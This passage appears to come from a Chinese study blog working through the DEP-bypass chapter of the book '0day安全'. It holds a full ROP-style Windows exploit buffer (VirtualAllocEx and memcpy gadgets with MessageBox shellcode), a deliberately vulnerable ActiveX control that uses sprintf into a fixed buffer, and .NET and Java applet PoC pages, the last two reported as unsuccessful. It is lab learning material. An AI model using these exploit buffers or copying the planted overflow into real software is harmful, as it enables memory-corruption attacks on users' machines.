"\xc6\xc6\xeb\x77" // <-- ebp+0xc
// 4	count 
"\xff\x00\x00\x00" // <-- ebp+0x10
// 4	into memcpy
"\xb8\x1d\x92\x7c"
;

编译调试,我们单步到memcpy返回前:

可以发现,它将返回到上面shellcode中*dest前那4个nop处,很巧吧!如果返回到别的地方我们还不好处理,幸好这里没有被占用。所以我们只需要在这个位置放上申请的可执行空间的起始地址,就可以转过去执行了。我们直接在最后跟上messagebox弹窗指令段,然后调试过去看看:

如上图,由于在memcpy时是从栈上的count参数开始复制的,所以在开头引入了一些垃圾指令,导致我们的弹窗shellcode未能被正确地解析。这里有两个可行的方法:

  • 在弹窗shellcode前添加一些nop
  • 在之前提到的*dest前那4个nop处直接放上弹窗shellcode的起始地址即可(这里就是0x00030008

下面的最终shellcode采用第一种方案:

char shellcode[]=
// 180	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	-1 (current process)
"\xff\xff\xff\xff"
// 4	lpAddress
"\x00\x00\x03\x00"
// 4	dwSize
"\xff\x00\x00\x00"
// 4	flAllocationType
"\x00\x10\x00\x00"
// 4	flProtect
"\x40\x00\x00\x00"
// 4	nop
"\x90\x90\x90\x90"
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 16	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	pop ecx pop ecx retn
"\xf4\x1e\xbf\x77"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	pop ecx retn
"\xa0\x6f\x5f\x7d"
// 4	into allocated mem
"\x00\x00\x03\x00"
// 4	*dest
"\x00\x00\x03\x00"
// 4	push esp jmp eax (*src)
"\xc6\xc6\xeb\x77"
// 4	count
"\xff\x00\x00\x00"
// 4	into memcpy
"\xb8\x1d\x92\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 168	messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
;

注:在书中作者的环境里,垃圾指令破坏了控制流,所以他要进行ESP、ESI、EDI的修复,而我这里不需要。

整个流程如下:

测试:

利用可执行内存挑战DEP

这种利用方式其实就是上一节的简化版,即不需要你自己去VirtualAlloc。我不清楚为什么作者的0x00140000处是RWE的,但是我这里并不是:

而且纵观整个内存布局,也没有发现这样的地方:

考虑到这里的shellcode布置比较简单,就是把上一节的去掉VitrualAlloc,所以我不再进行这个实验。

利用.NET挑战DEP (unsolved)

IE6及之后版本的IE可以使用.NET控件,它们运行于浏览器进程的沙盒内。.NET文件具有与PE文件一样的结构,具有.text段,被映射到内存中且具有可执行属性。如果将shellcode放入.NET中可执行的段中,然后转入这个区域执行,将绕过DEP。

准备材料:

  • 具有溢出漏洞的ActiveX控件
  • 包含shellcode的.NET控件
  • 可以触发ActiveX控件中溢出漏洞的PoC页面

建立具有溢出漏洞的ActiveX控件:

此处的步骤与0day安全|11 亡羊补牢:SafeSEH最后一节基本相同,只不过这次需要关闭GS编译选项,因为我们要覆盖的是函数返回地址而非SEH。

测试代码如下:

void CVulnerAXCtrl::test(LPCTSTR str)
{
	// AFX_MANAGE_STATE(AfxGetStaticModuleState());
	// TODO: 在此添加调度处理程序代码
	printf("aaaa");
	char dest[100];
	sprintf(dest,"%s",str);	
}

编译并注册这个控件,同时记录下classid。

其他的过程略去不述,可以参考第十一章最后一节。

建立包含shellcode的.NET控件:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace DEP_NETDLL
{
    public class Class1
    {
        public void Shellcode() {
            string shellcode =
            "\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090" +
            "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91" +
            "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
            "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
            "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
            "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
            "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06" +
            "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c" +
            "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
            "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
            "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050" +
            "\uff53\ufc57\uff53\uf857";
        }
    }
}

注意编译为debug版本(release版本的优化选项会影响shellcode),并修改基址为0x24240000

编译后将其与PoC页面放在同一目录下:

编写可以触发ActiveX控件中溢出漏洞的PoC页面:

<html>  
<body>  
  <object classid="DEP_NETDLL.dll#DEP_NETDLL.Class1"></object>
  <object classid="clsid:03473293-EB7D-4973-83C8-D5F9D448072C" id="test"></object>  
  <script>
	var s = "\u9090";
	while (s.length < 54) {
		s += "\u9090";
	}
	test.test(s); 
  </script>  
</body>  
</html>

测试:

我遇到了和这篇文章的作者同样的问题:IE没有加载DLL,OD里也看不到这个模块,但是ActiveX控件却正常加载。我采取了以下尝试,均不成功:

  • 使用regasm对该.NET控件注册
  • 将IE6的安全级别全部调整为“低”
  • 将IE6更新为IE7

待以后有进展再补充。

利用Java applet挑战DEP (unsolved)

Java applet与.NET控件类似,都可以被IE浏览器加载到客户端,而且加载到IE进程的内存空间后这些控件都具有可执行性,所以我们可以将shellcode放在applet中。

准备材料:

  • 具有溢出漏洞的ActiveX控件
  • 包含有shellcode的Java applet
  • 可以触发ActiveX控件中漏洞的PoC页面

建立ActiveX的过程与上一节完全一致,不再多说。下面来建立applet:

首先安装JDK 1.4.2。

然后编写如下代码并编译:

import java.applet.*;
import java.awt.*;

public class Shellcode extends Applet {
		public void init(){
			  Runtime.getRuntime().gc();
				StringBuffer buffer=new StringBuffer(255);
				buffer.append("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090" +
            "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91" +
            "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
            "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
            "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
            "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
            "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06" +
            "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c" +
            "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
            "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
            "\u6853\u6a2d\u626f\u6768\u6f6f\u8b64\u53c4\u5050" +
            "\uff53\ufc57\uff53\uf857");
		}
}
javac Shellcode.java -target 1.1

最后建立PoC页面,将其与Shellcode.class放在同一目录下:

<html>  
<body>  
  <applet code=Shellcode.class width=300 height=50></applet>
  <script>alert("begin");</script>
  <object classid="clsid:03473293-EB7D-4973-83C8-D5F9D448072C" id="test"></object>  
  <script>
	var s = "\u9090";
	while (s.length < 54) {
		s += "\u9090";
	}
	s +="\u04FC\u1001";
	test.test(s); 
  </script>  
</body>  
</html>

这个也没有成功。后来我参考0day安全软件漏洞分析实战记录-第一部分觉得可能是要把这些东西放在IIS的Web目录中才行,于是装了IIS5,可仍然不行。前一个小节依然无法找到DEP_NETDLL,本小节则是能够在OD中转到Shellcode去执行,但是不弹窗。直接打开网页只会在左下角显示小程序Shellcode started,但是依旧不弹窗。

先这样。

疑问

在完成“利用Ret2Libc挑战DEP”部分后,我忽然意识到,我在该部分的所有实验都是在VS 2008内完成的,并非前面提到的“VC 6”。也就是说,我默认开启了SafeSEH。为了确认,我使用dumpbin查看,发现的确有SafeSEH:

但是GS的确是关闭的。那么为什么我开启SafeSEH依然能exploit成功呢?

一个猜测是:由于关闭了GS,而我在操作过程中也没有触发其他异常,所以并没有触发SEH,同理也就没有触发SafeSEH机制。

我后来是怎么意识到自己之前用的是VS 2008呢?

因为后来我想反过头来去完成第十一章的Flash Player实验,结果打开VC 6后发现这个IDE是没有代码高亮的,而我昨天做过的实验中使用的IDE明明有代码高亮。

总结

本章学习了大量的构造栈帧的技巧。防御技术总在推陈出新,绕过技术总会过时,但是这些构造shellcode的技术是不会过时的,包括如何移动ESP,如何修复EBP,如何动态获取shellcode的地址等等。还是要反复思考、练习才能掌握。

另外,在面对复杂的shellcode布置时,作者采用了步步为营的方法,而不是一蹴而就。写一点调试一点,这样可以避免大错。这是一个经验。

我偶然在通关栈溢出(四):缓冲区溢出的防御技术及绕过一文中发现了利用mona插件自动构造绕过DEP的ROP链,很有意思。